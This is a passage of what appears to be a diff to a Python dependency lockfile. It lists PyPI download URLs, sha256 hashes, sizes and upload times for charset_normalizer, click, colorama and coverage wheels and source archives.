hash = "sha256:e1f6e2f00a6b8edb562826e4632e26d063ac10307e80f7461f7de3ad8ef3f077", size = 223475, upload-time = "2026-03-15T18:52:11.854Z" }, + { url = "https://files.pythonhosted.org/packages/fc/97/440635fc093b8d7347502a377031f9605a1039c958f3cd18dcacffb37743/charset_normalizer-3.4.6-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:95b52c68d64c1878818687a473a10547b3292e82b6f6fe483808fb1468e2f52f", size = 215230, upload-time = "2026-03-15T18:52:13.325Z" }, + { url = "https://files.pythonhosted.org/packages/cd/24/afff630feb571a13f07c8539fbb502d2ab494019492aaffc78ef41f1d1d0/charset_normalizer-3.4.6-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:7504e9b7dc05f99a9bbb4525c67a2c155073b44d720470a148b34166a69c054e", size = 199045, upload-time = "2026-03-15T18:52:14.752Z" }, + { url = "https://files.pythonhosted.org/packages/e5/17/d1399ecdaf7e0498c327433e7eefdd862b41236a7e484355b8e0e5ebd64b/charset_normalizer-3.4.6-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:172985e4ff804a7ad08eebec0a1640ece87ba5041d565fff23c8f99c1f389484", size = 211658, upload-time = "2026-03-15T18:52:16.278Z" }, + { url = "https://files.pythonhosted.org/packages/b5/38/16baa0affb957b3d880e5ac2144caf3f9d7de7bc4a91842e447fbb5e8b67/charset_normalizer-3.4.6-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:4be9f4830ba8741527693848403e2c457c16e499100963ec711b1c6f2049b7c7", size = 210769, upload-time = "2026-03-15T18:52:17.782Z" }, + { url = "https://files.pythonhosted.org/packages/05/34/c531bc6ac4c21da9ddfddb3107be2287188b3ea4b53b70fc58f2a77ac8d8/charset_normalizer-3.4.6-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:79090741d842f564b1b2827c0b82d846405b744d31e84f18d7a7b41c20e473ff", size = 201328, upload-time = "2026-03-15T18:52:19.553Z" }, + { url = "https://files.pythonhosted.org/packages/fa/73/a5a1e9ca5f234519c1953608a03fe109c306b97fdfb25f09182babad51a7/charset_normalizer-3.4.6-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:87725cfb1a4f1f8c2fc9890ae2f42094120f4b44db9360be5d99a4c6b0e03a9e", size = 225302, upload-time = "2026-03-15T18:52:21.043Z" }, + { url = "https://files.pythonhosted.org/packages/ba/f6/cd782923d112d296294dea4bcc7af5a7ae0f86ab79f8fefbda5526b6cfc0/charset_normalizer-3.4.6-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:fcce033e4021347d80ed9c66dcf1e7b1546319834b74445f561d2e2221de5659", size = 211127, upload-time = "2026-03-15T18:52:22.491Z" }, + { url = "https://files.pythonhosted.org/packages/0e/c5/0b6898950627af7d6103a449b22320372c24c6feda91aa24e201a478d161/charset_normalizer-3.4.6-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:ca0276464d148c72defa8bb4390cce01b4a0e425f3b50d1435aa6d7a18107602", size = 222840, upload-time = "2026-03-15T18:52:24.113Z" }, + { url = "https://files.pythonhosted.org/packages/7d/25/c4bba773bef442cbdc06111d40daa3de5050a676fa26e85090fc54dd12f0/charset_normalizer-3.4.6-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:197c1a244a274bb016dd8b79204850144ef77fe81c5b797dc389327adb552407", size = 216890, upload-time = "2026-03-15T18:52:25.541Z" }, + { url = "https://files.pythonhosted.org/packages/35/1a/05dacadb0978da72ee287b0143097db12f2e7e8d3ffc4647da07a383b0b7/charset_normalizer-3.4.6-cp314-cp314t-win32.whl", hash = "sha256:2a24157fa36980478dd1770b585c0f30d19e18f4fb0c47c13aa568f871718579", size = 155379, upload-time = "2026-03-15T18:52:27.05Z" }, + { url = "https://files.pythonhosted.org/packages/5d/7a/d269d834cb3a76291651256f3b9a5945e81d0a49ab9f4a498964e83c0416/charset_normalizer-3.4.6-cp314-cp314t-win_amd64.whl", hash = "sha256:cd5e2801c89992ed8c0a3f0293ae83c159a60d9a5d685005383ef4caca77f2c4", size = 169043, upload-time = "2026-03-15T18:52:28.502Z" }, + { url = "https://files.pythonhosted.org/packages/23/06/28b29fba521a37a8932c6a84192175c34d49f84a6d4773fa63d05f9aff22/charset_normalizer-3.4.6-cp314-cp314t-win_arm64.whl", hash = "sha256:47955475ac79cc504ef2704b192364e51d0d473ad452caedd0002605f780101c", size = 148523, upload-time = "2026-03-15T18:52:29.956Z" }, + { url = "https://files.pythonhosted.org/packages/2a/68/687187c7e26cb24ccbd88e5069f5ef00eba804d36dde11d99aad0838ab45/charset_normalizer-3.4.6-py3-none-any.whl", hash = "sha256:947cf925bc916d90adba35a64c82aace04fa39b46b52d4630ece166655905a69", size = 61455, upload-time = "2026-03-15T18:53:23.833Z" }, +] + +[[package]] +name = "click" +version = "8.3.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "colorama", marker = "sys_platform == 'win32'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/3d/fa/656b739db8587d7b5dfa22e22ed02566950fbfbcdc20311993483657a5c0/click-8.3.1.tar.gz", hash = "sha256:12ff4785d337a1bb490bb7e9c2b1ee5da3112e94a8622f26a6c77f5d2fc6842a", size = 295065, upload-time = "2025-11-15T20:45:42.706Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/98/78/01c019cdb5d6498122777c1a43056ebb3ebfeef2076d9d026bfe15583b2b/click-8.3.1-py3-none-any.whl", hash = "sha256:981153a64e25f12d547d3426c367a4857371575ee7ad18df2a6183ab0545b2a6", size = 108274, upload-time = "2025-11-15T20:45:41.139Z" }, +] + +[[package]] +name = "colorama" +version = "0.4.6" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 27697, upload-time = "2022-10-25T02:36:22.414Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size = 25335, upload-time = "2022-10-25T02:36:20.889Z" }, +] + +[[package]] +name = "coverage" +version = "7.13.5" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/9d/e0/70553e3000e345daff267cec284ce4cbf3fc141b6da229ac52775b5428f1/coverage-7.13.5.tar.gz", hash = "sha256:c81f6515c4c40141f83f502b07bbfa5c240ba25bbe73da7b33f1e5b6120ff179", size = 915967, upload-time = "2026-03-17T10:33:18.341Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/4b/37/d24c8f8220ff07b839b2c043ea4903a33b0f455abe673ae3c03bbdb7f212/coverage-7.13.5-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:66a80c616f80181f4d643b0f9e709d97bcea413ecd9631e1dedc7401c8e6695d", size = 219381, upload-time = "2026-03-17T10:30:14.68Z" }, + { url = "https://files.pythonhosted.org/packages/35/8b/cd129b0ca4afe886a6ce9d183c44d8301acbd4ef248622e7c49a23145605/coverage-7.13.5-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:145ede53ccbafb297c1c9287f788d1bc3efd6c900da23bf6931b09eafc931587", size = 219880, upload-time = "2026-03-17T10:30:16.231Z" }, + { url = "https://files.pythonhosted.org/packages/55/2f/e0e5b237bffdb5d6c530ce87cc1d413a5b7d7dfd60fb067ad6d254c35c76/coverage-7.13.5-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:0672854dc733c342fa3e957e0605256d2bf5934feeac328da9e0b5449634a642", size = 250303, upload-time = "2026-03-17T10:30:17.748Z" }, + { url = "https://files.pythonhosted.org/packages/92/be/b1afb692be85b947f3401375851484496134c5554e67e822c35f28bf2fbc/coverage-7.13.5-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:ec10e2a42b41c923c2209b846126c6582db5e43a33157e9870ba9fb70dc7854b", size = 252218, upload-time = "2026-03-17T10:30:19.804Z" }, + { url = "https://files.pythonhosted.org/packages/da/69/2f47bb6fa1b8d1e3e5d0c4be8ccb4313c63d742476a619418f85740d597b/coverage-7.13.5-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:be3d4bbad9d4b037791794ddeedd7d64a56f5933a2c1373e18e9e568b9141686", size = 254326, upload-time = "2026-03-17T10:30:21.321Z" }, + { url = "https://files.pythonhosted.org/packages/d5/d0/79db81da58965bd29dabc8f4ad2a2af70611a57cba9d1ec006f072f30a54/coverage-7.13.5-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:4d2afbc5cc54d286bfb54541aa50b64cdb07a718227168c87b9e2fb8f25e1743", size = 256267, upload-time = "2026-03-17T10:30:23.094Z" }, + { url = "https://files.pythonhosted.org/packages/e5/32/d0d7cc8168f91ddab44c0ce4806b969df5f5fdfdbb568eaca2dbc2a04936/coverage-7.13.5-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:3ad050321264c49c2fa67bb599100456fc51d004b82534f379d16445da40fb75", size = 250430, upload-time = "2026-03-17T10:30:25.311Z" }, + { url = "https://files.pythonhosted.org/packages/4d/06/a055311d891ddbe231cd69fdd20ea4be6e3603ffebddf8704b8ca8e10a3c/coverage-7.13.5-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:7300c8a6d13335b29bb76d7651c66af6bd8658517c43499f110ddc6717bfc209", size = 252017, upload-time = "2026-03-17T10:30:27.284Z" }, + { url = "https://files.pythonhosted.org/packages/d6/f6/d0fd2d21e29a657b5f77a2fe7082e1568158340dceb941954f776dce1b7b/coverage-7.13.5-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:eb07647a5738b89baab047f14edd18ded523de60f3b30e75c2acc826f79c839a", size = 250080, upload-time = "2026-03-17T10:30:29.481Z" }, + { url = "https://files.pythonhosted.org/packages/4e/ab/0d7fb2efc2e9a5eb7ddcc6e722f834a69b454b7e6e5888c3a8567ecffb31/coverage-7.13.5-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:9adb6688e3b53adffefd4a52d72cbd8b02602bfb8f74dcd862337182fd4d1a4e", size = 253843, upload-time = "2026-03-17T10:30:31.301Z" }, + { url = "https://files.pythonhosted.org/packages/ba/6f/7467b917bbf5408610178f62a49c0ed4377bb16c1657f689cc61470da8ce/coverage-7.13.5-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:7c8d4bc913dd70b93488d6c496c77f3aff5ea99a07e36a18f865bca55adef8bd", size = 249802, upload-time = "2026-03-17T10:30:33.358Z" }, + { url = "https://files.pythonhosted.org/packages/75/2c/1172fb689df92135f5bfbbd69fc83017a76d24ea2e2f3a1154007e2fb9f8/coverage-7.13.5-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:0e3c426ffc4cd952f54ee9ffbdd10345709ecc78a3ecfd796a57236bfad0b9b8", size = 250707, upload-time = "2026-03-17T10:30:35.2Z" }, + { url = "https://files.pythonhosted.org/packages/67/21/9ac389377380a07884e3b48ba7a620fcd9dbfaf1d40565facdc6b36ec9ef/coverage-7.13.5-cp311-cp311-win32.whl", hash = "sha256:259b69bb83ad9894c4b25be2528139eecba9a82646ebdda2d9db1ba28424a6bf", size = 221880, upload-time = "2026-03-17T10:30:36.775Z" }, + { url = "https://files.pythonhosted.org/packages/af/7f/4cd8a92531253f9d7c1bbecd9fa1b472907fb54446ca768c59b531248dc5/coverage-7.13.5-cp311-cp311-win_amd64.whl", hash = "sha256:258354455f4e86e3e9d0d17571d522e13b4e1e19bf0f8596bcf9476d61e7d8a9", size = 222816, upload-time = "2026-03-17T10:30:38.891Z" }, + { url = "https://files.pythonhosted.org/packages/12/a6/1d3f6155fb0010ca68eba7fe48ca6c9da7385058b77a95848710ecf189b1/coverage-7.13.5-cp311-cp311-win_arm64.whl", hash = "sha256:bff95879c33ec8da99fc9b6fe345ddb5be6414b41d6d1ad1c8f188d26f36e028", size = 221483, upload-time = "2026-03-17T10:30:40.463Z" }, + { url = "https://files.pythonhosted.org/packages/a0/c3/a396306ba7db865bf96fc1fb3b7fd29bcbf3d829df642e77b13555163cd6/coverage-7.13.5-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:460cf0114c5016fa841214ff5564aa4864f11948da9440bc97e21ad1f4ba1e01", size = 219554, upload-time = "2026-03-17T10:30:42.208Z" }, + { url = "https://files.pythonhosted.org/packages/a6/16/a68a19e5384e93f811dccc51034b1fd0b865841c390e3c931dcc4699e035/coverage-7.13.5-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:0e223ce4b4ed47f065bfb123687686512e37629be25cc63728557ae7db261422", size = 219908, upload-time = "2026-03-17T10:30:43.906Z" }, + { url = "https://files.pythonhosted.org/packages/29/72/20b917c6793af3a5ceb7fb9c50033f3ec7865f2911a1416b34a7cfa0813b/coverage-7.13.5-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:6e3370441f4513c6252bf042b9c36d22491142385049243253c7e48398a15a9f", size = 251419, upload-time = "2026-03-17T10:30:45.545Z" }, + { url = "https://files.pythonhosted.org/packages/8c/49/cd14b789536ac6a4778c453c6a2338bc0a2fb60c5a5a41b4008328b9acc1/coverage-7.13.5-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:03ccc709a17a1de074fb1d11f217342fb0d2b1582ed544f554fc9fc3f07e95f5", size = 254159, upload-time = "2026-03-17T10:30:47.204Z" }, + { url = "https://files.pythonhosted.org/packages/9d/00/7b0edcfe64e2ed4c0340dac14a52ad0f4c9bd0b8b5e531af7d55b703db7c/coverage-7.13.5-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3f4818d065964db3c1c66dc0fbdac5ac692ecbc875555e13374fdbe7eedb4376", size = 255270, upload-time = "2026-03-17T10:30:48.812Z" }, + { url = "https://files.pythonhosted.org/packages/93/89/7ffc4ba0f5d0a55c1e84ea7cee39c9fc06af7b170513d83fbf3bbefce280/coverage-7.13.5-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:012d5319e66e9d5a218834642d6c35d265515a62f01157a45bcc036ecf947256", size = 257538, upload-time = "2026-03-17T10:30:50.77Z" }, + { url = "https://files.pythonhosted.org/packages/81/bd/73ddf85f93f7e6fa83e77ccecb6162d9415c79007b4bc124008a4995e4a7/coverage-7.13.5-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:8dd02af98971bdb956363e4827d34425cb3df19ee550ef92855b0acb9c7ce51c", size = 251821, upload-time = "2026-03-17T10:30:52.5Z" }, + { url = "https://files.pythonhosted.org/packages/a0/81/278aff4e8dec4926a0bcb9486320752811f543a3ce5b602cc7a29978d073/coverage-7.13.5-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:f08fd75c50a760c7eb068ae823777268daaf16a80b918fa58eea888f8e3919f5", size = 253191, upload-time = "2026-03-17T10:30:54.543Z" }, + { url = "https://files.pythonhosted.org/packages/70/ee/fe1621488e2e0a58d7e94c4800f0d96f79671553488d401a612bebae324b/coverage-7.13.5-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:843ea8643cf967d1ac7e8ecd4bb00c99135adf4816c0c0593fdcc47b597fcf09", size = 251337, upload-time = "2026-03-17T10:30:56.663Z" }, + { url = "https://files.pythonhosted.org/packages/37/a6/f79fb37aa104b562207cc23cb5711ab6793608e246cae1e93f26b2236ed9/coverage-7.13.5-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:9d44d7aa963820b1b971dbecd90bfe5fe8f81cff79787eb6cca15750bd2f79b9", size = 255404, upload-time = "2026-03-17T10:30:58.427Z" }, + { url = "https://files.pythonhosted.org/packages/75/f0/ed15262a58ec81ce457ceb717b7f78752a1713556b19081b76e90896e8d4/coverage-7.13.5-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:7132bed4bd7b836200c591410ae7d97bf7ae8be6fc87d160b2bd881df929e7bf", size = 250903, upload-time = "2026-03-17T10:31:00.093Z" }, + { url = "https://files.pythonhosted.org/packages/0f/e9/9129958f20e7e9d4d56d51d42ccf708d15cac355ff4ac6e736e97a9393d2/coverage-7.13.5-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:a698e363641b98843c517817db75373c83254781426e94ada3197cabbc2c919c", size = 252780, upload-time = "2026-03-17T10:31:01.916Z" }, + { url = "https://files.pythonhosted.org/packages/a4/d7/0ad9b15812d81272db94379fe4c6df8fd17781cc7671fdfa30c76ba5ff7b/coverage-7.13.5-cp312-cp312-win32.whl", hash = "sha256:bdba0a6b8812e8c7df002d908a9a2ea3c36e92611b5708633c50869e6d922fdf", size = 222093, upload-time = "2026-03-17T10:31:03.642Z" }, + { url = "https://files.pythonhosted.org/packages/29/3d/821a9a5799fac2556bcf0bd37a70d1d11fa9e49784b6d22e92e8b2f85f18/coverage-7.13.5-cp312-cp312-win_amd64.whl", hash = "sha256:d2c87e0c473a10bffe991502eac389220533024c8082ec1ce849f4218dded810", size = 222900, upload-time = "2026-03-17T10:31:05.651Z" }, + { url = "https://files.pythonhosted.org/packages/d4/fa/2238c2ad08e35cf4f020ea721f717e09ec3152aea75d191a7faf3ef009a8/coverage-7.13.5-cp312-cp312-win_arm64.whl", hash = "sha256:bf69236a9a81bdca3bff53796237aab096cdbf8d78a66ad61e992d9dac7eb2de", size = 221515, upload-time = "2026-03-17T10:31:07.293Z" }, + { url = "https://files.pythonhosted.org/packages/74/8c/74fedc9663dcf168b0a059d4ea756ecae4da77a489048f94b5f512a8d0b3/coverage-7.13.5-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:5ec4af212df513e399cf11610cc27063f1586419e814755ab362e50a85ea69c1", size = 219576, upload-time = "2026-03-17T10:31:09.045Z" }, + { url = "https://files.pythonhosted.org/packages/0c/c9/44fb661c55062f0818a6ffd2685c67aa30816200d5f2817543717d4b92eb/coverage-7.13.5-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:941617e518602e2d64942c88ec8499f7fbd49d3f6c4327d3a71d43a1973032f3", size = 219942, upload-time = "2026-03-17T10:31:10.708Z" }, + { url = "https://files.pythonhosted.org/packages/5f/13/93419671cee82b780bab7ea96b67c8ef448f5f295f36bf5031154ec9a790/coverage-7.13.5-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:da305e9937617ee95c2e39d8ff9f040e0487cbf1ac174f777ed5eddd7a7c1f26", size = 250935, upload-time = "2026-03-17T10:31:12.392Z" }, + { url = "https://files.pythonhosted.org/packages/ac/68/1666e3a4462f8202d836920114fa7a5ee9275d1fa45366d336c551a162dd/coverage-7.13.5-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:78e696e1cc714e57e8b25760b33a8b1026b7048d270140d25dafe1b0a1ee05a3", size = 253541, upload-time = "2026-03-17T10:31:14.247Z" }, + { url = "https://files.pythonhosted.org/packages/4e/5e/3ee3b835647be646dcf3c65a7c6c18f87c27326a858f72ab22c12730773d/coverage-7.13.5-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:02ca0eed225b2ff301c474aeeeae27d26e2537942aa0f87491d3e147e784a82b", size = 254780, upload-time = "2026-03-17T10:31:16.193Z" }, + { url = "https://files.pythonhosted.org/packages/44/b3/cb5bd1a04cfcc49ede6cd8409d80bee17661167686741e041abc7ee1b9a9/coverage-7.13.5-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:04690832cbea4e4663d9149e05dba142546ca05cb1848816760e7f58285c970a", size = 256912, upload-time = "2026-03-17T10:31:17.89Z" }, + { url = "https://files.pythonhosted.org/packages/1b/66/c1dceb7b9714473800b075f5c8a84f4588f887a90eb8645282031676e242/coverage-7.13.5-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0590e44dd2745c696a778f7bab6aa95256de2cbc8b8cff4f7db8ff09813d6969", size = 251165, upload-time = "2026-03-17T10:31:19.605Z" }, + { url = "https://files.pythonhosted.org/packages/b7/62/5502b73b97aa2e53ea22a39cf8649ff44827bef76d90bf638777daa27a9d/coverage-7.13.5-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:d7cfad2d6d81dd298ab6b89fe72c3b7b05ec7544bdda3b707ddaecff8d25c161", size = 252908, upload-time = "2026-03-17T10:31:21.312Z" }, + { url = "https://files.pythonhosted.org/packages/7d/37/7792c2d69854397ca77a55c4646e5897c467928b0e27f2d235d83b5d08c6/coverage-7.13.5-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:e092b9499de38ae0fbfbc603a74660eb6ff3e869e507b50d85a13b6db9863e15", size = 250873, upload-time = "2026-03-17T10:31:23.565Z" }, + { url = "https://files.pythonhosted.org/packages/a3/23/bc866fb6163be52a8a9e5d708ba0d3b1283c12158cefca0a8bbb6e247a43/coverage-7.13.5-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:48c39bc4a04d983a54a705a6389512883d4a3b9862991b3617d547940e9f52b1", size = 255030, upload-time = "2026-03-17T10:31:25.58Z" }, + { url = "https://files.pythonhosted.org/packages/7d/8b/ef67e1c222ef49860701d346b8bbb70881bef283bd5f6cbba68a39a086c7/coverage-7.13.5-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:2d3807015f138ffea1ed9afeeb8624fd781703f2858b62a8dd8da5a0994c57b6", size = 250694, upload-time = "2026-03-17T10:31:27.316Z" }, + { url = "https://files.pythonhosted.org/packages/46/0d/866d1f74f0acddbb906db212e096dee77a8e2158ca5e6bb44729f9d93298/coverage-7.13.5-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:ee2aa19e03161671ec964004fb74b2257805d9710bf14a5c704558b9d8dbaf17", size = 252469, upload-time = "2026-03-17T10:31:29.472Z" }, + { url = "https://files.pythonhosted.org/packages/7a/f5/be742fec31118f02ce42b21c6af187ad6a344fed546b56ca60caacc6a9a0/coverage-7.13.5-cp313-cp313-win32.whl", hash = "sha256:ce1998c0483007608c8382f4ff50164bfc5bd07a2246dd272aa4043b75e61e85", size = 222112, upload-time = "2026-03-17T10:31:31.526Z" }, + { url = "https://files.pythonhosted.org/packages/66/40/7732d648ab9d069a46e686043241f01206348e2bbf128daea85be4d6414b/coverage-7.13.5-cp313-cp313-win_amd64.whl", hash = "sha256:631efb83f01569670a5e866ceb80fe483e7c159fac6f167e6571522636104a0b", size = 222923, upload-time = "2026-03-17T10:31:33.633Z" }, + { url = "https://files.pythonhosted.org/packages/48/af/fea819c12a095781f6ccd504890aaddaf88b8fab263c4940e82c7b770124/coverage-7.13.5-cp313-cp313-win_arm64.whl", hash = "sha256:f4cd16206ad171cbc2470dbea9103cf9a7607d5fe8c242fdf1edf36174020664", size = 221540, upload-time = "2026-03-17T10:31:35.445Z" }, + { url = "https://files.pythonhosted.org/packages/23/d2/17879af479df7fbbd44bd528a31692a48f6b25055d16482fdf5cdb633805/coverage-7.13.5-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:0428cbef5783ad91fe240f673cc1f76b25e74bbfe1a13115e4aa30d3f538162d", size = 220262, upload-time = "2026-03-17T10:31:37.184Z" }, + { url = "https://files.pythonhosted.org/packages/5b/4c/d20e554f988c8f91d6a02c5118f9abbbf73a8768a3048cb4962230d5743f/coverage-7.13.5-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:e0b216a19534b2427cc201a26c25da4a48633f29a487c61258643e89d28200c0", size = 220617, upload-time = "2026-03-17T10:31:39.245Z" }, + { url = "https://files.pythonhosted.org/packages/29/9c/f9f5277b95184f764b24e7231e166dfdb5780a46d408a2ac665969416d61/coverage-7.13.5-cp313-cp313t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:972a9cd27894afe4bc2b1480107054e062df08e671df7c2f18c205e805ccd806", size = 261912, upload-time = "2026-03-17T10:31:41.324Z" }, + { url = "https://files.pythonhosted.org/packages/d5/f6/7f1ab39393eeb50cfe4747ae8ef0e4fc564b989225aa1152e13a180d74f8/coverage-7.13.5-cp313-cp313t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:4b59148601efcd2bac8c4dbf1f0ad6391693ccf7a74b8205781751637076aee3", size = 263987, upload-time = "2026-03-17T10:31:43.724Z" }, + { url = "https://files.pythonhosted.org/packages/a0/d7/62c084fb489ed9c6fbdf57e006752e7c516ea46fd690e5ed8b8617c7d52e/coverage-7.13.5-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:505d7083c8b0c87a8fa8c07370c285847c1f77739b22e299ad75a6af6c32c5c9", size = 266416, upload-time = "2026-03-17T10:31:45.769Z" }, + { url = "https://files.pythonhosted.org/packages/a9/f6/df63d8660e1a0bff6125947afda112a0502736f470d62ca68b288ea762d8/coverage-7.13.5-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:60365289c3741e4db327e7baff2a4aaacf22f788e80fa4683393891b70a89fbd", size = 267558, upload-time = "2026-03-17T10:31:48.293Z" }, + { url = "https://files.pythonhosted.org/packages/5b/02/353ca81d36779bd108f6d384425f7139ac3c58c750dcfaafe5d0bee6436b/coverage-7.13.5-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:1b88c69c8ef5d4b6fe7dea66d6636056a0f6a7527c440e890cf9259011f5e606", size = 261163, upload-time = "2026-03-17T10:31:50.125Z" }, + { url = "https://files.pythonhosted.org/packages/2c/16/2e79106d5749bcaf3aee6d309123548e3276517cd7851faa8da213bc61bf/coverage-7.13.5-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:5b13955d31d1633cf9376908089b7cebe7d15ddad7aeaabcbe969a595a97e95e", size = 263981, upload-time = "2026-03-17T10:31:51.961Z" }, + { url = "https://files.pythonhosted.org/packages/29/c7/c29e0c59ffa6942030ae6f50b88ae49988e7e8da06de7ecdbf49c6d4feae/coverage-7.13.5-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:f70c9ab2595c56f81a89620e22899eea8b212a4041bd728ac6f4a28bf5d3ddd0", size = 261604, upload-time = "2026-03-17T10:31:53.872Z" }, + { url = "https://files.pythonhosted.org/packages/40/48/097cdc3db342f34006a308ab41c3a7c11c3f0d84750d340f45d88a782e00/coverage-7.13.5-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:084b84a8c63e8d6fc7e3931b316a9bcafca1458d753c539db82d31ed20091a87", size = 265321, upload-time = "2026-03-17T10:31:55.997Z" }, + { url = "https://files.pythonhosted.org/packages/bb/1f/4994af354689e14fd03a75f8ec85a9a68d94e0188bbdab3fc1516b55e512/coverage-7.13.5-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:ad14385487393e386e2ea988b09d62dd42c397662ac2dabc3832d71253eee479", size = 260502, upload-time = "2026-03-17T10:31:58.308Z" }, + { url = "https://files.pythonhosted.org/packages/22/c6/9bb9ef55903e628033560885f5c31aa227e46878118b63ab15dc7ba87797/coverage-7.13.5-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:7f2c47b36fe7709a6e83bfadf4eefb90bd25fbe4014d715224c4316f808e59a2", size = 262688, upload-time = "2026-03-17T10:32:00.141Z" }, + { url = "https://files.pythonhosted.org/packages/14/4f/f5df9007e50b15e53e01edea486814783a7f019893733d9e4d6caad75557/coverage-7.13.5-cp313-cp313t-win32.whl", hash = "sha256:67e9bc5449801fad0e5dff329499fb090ba4c5800b86805c80617b4e29809b2a", size = 222788, upload-time = "2026-03-17T10:32:02.246Z" }, + { url = "https://files.pythonhosted.org/packages/e1/98/aa7fccaa97d0f3192bec013c4e6fd6d294a6ed44b640e6bb61f479e00ed5/coverage-7.13.5-cp313-cp313t-win_amd64.whl", hash = "sha256:da86cdcf10d2519e10cabb8ac2de03da1bcb6e4853790b7fbd48523332e3a819", size = 223851, upload-time = "2026-03-17T10:32:04.416Z" }, + { url = "https://files.pythonhosted.org/packages/3d/8b/e5c469f7352651e5f013198e9e21f97510b23de957dd06a84071683b4b60/coverage-7.13.5-cp313-cp313t-win_arm64.whl", hash = "sha256:0ecf12ecb326fe2c339d93fc131816f3a7367d223db37817208905c89bded911", size = 222104, upload-time = "2026-03-17T10:32:06.65Z" }, + { url = "https://files.pythonhosted.org/packages/8e/77/39703f0d1d4b478bfd30191d3c14f53caf596fac00efb3f8f6ee23646439/coverage-7.13.5-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:fbabfaceaeb587e16f7008f7795cd80d20ec548dc7f94fbb0d4ec2e038ce563f", size = 219621, 